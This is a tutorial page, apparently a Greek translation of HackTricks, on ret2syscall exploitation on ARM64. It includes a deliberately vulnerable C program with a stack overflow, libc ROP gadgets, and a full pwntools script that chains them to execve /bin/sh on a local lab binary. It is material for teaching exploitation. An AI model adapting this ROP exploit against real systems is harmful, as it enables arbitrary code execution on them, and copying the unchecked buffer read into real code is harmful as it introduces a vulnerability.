Ret2syscall - ARM64

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βρείτε μια εισαγωγή στο arm64 στο:

pageIntroduction to ARM64v8

Κώδικας

Θα χρησιμοποιήσουμε το παράδειγμα από τη σελίδα:

pageRet2win - arm64
#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Μεταγλώττιση χωρίς pie και canary:

clang -o ret2win ret2win.c -fno-stack-protector

Gadgets

Για να προετοιμάσετε την κλήση για το syscall απαιτείται η παρακάτω διαμόρφωση:

  • x8: 221 Καθορίστε το sys_execve

  • x0: δείκτης προς "/bin/sh" καθορίστε το αρχείο προς εκτέλεση

  • x1: 0 καθορίστε ότι δεν περνιούνται παράμετροι

  • x2: 0 καθορίστε ότι δεν περνιούνται μεταβλητές περιβάλλοντος

Χρησιμοποιώντας το ROPgadget.py κατάφερα να εντοπίσω τα παρακάτω gadgets στη βιβλιοθήκη libc της μηχανής:

;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5

;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0

Με τα προηγούμενα gadgets μπορούμε να ελέγξουμε όλους τους απαιτούμενους registries από το stack και να χρησιμοποιήσουμε το x5 για να μεταβούμε στο δεύτερο gadget και να καλέσουμε το syscall.

Σημειώστε ότι γνωρίζοντας αυτές τις πληροφορίες από τη βιβλιοθήκη libc επιτρέπει επίσης την εκτέλεση επίθεσης ret2libc, αλλά ας το χρησιμοποιήσουμε για το παρόν παράδειγμα.

Εκμετάλλευση

from pwn import *

p = process('./ret2syscall')
elf = context.binary = ELF('./ret2syscall')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5

# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
call_execve = libc.address + 0xbb97c

print("/bin/sh in: " + hex(binsh))
print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2))
print("call_execve in: " + hex(call_execve))

# stack offset
bof = b"A" * (stack_offset)
bof += p64(load_x0_x1_x2)

# ldp x3, x0, [sp, #8]
rop = b"BBBBBBBBBBBBBBBB" #x3
rop += p64(binsh) #x0

# ldp x1, x4, [sp, #0x18]
rop += b"C"*(0x18 - len(rop))
rop += p64(0x00) # x1
rop += b"CCCCCCCC" #x4

# ldr x5, [sp, #0x58]
rop += b"D"*(0x58 - len(rop))
rop += p64(call_execve) # x5

# ldr x2, [sp, #0xe0]
rop += b"E" * (0xe0 - len(rop))
rop += p64(0x00) # x2

payload = bof + rop

p.sendline(payload)

p.interactive()
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated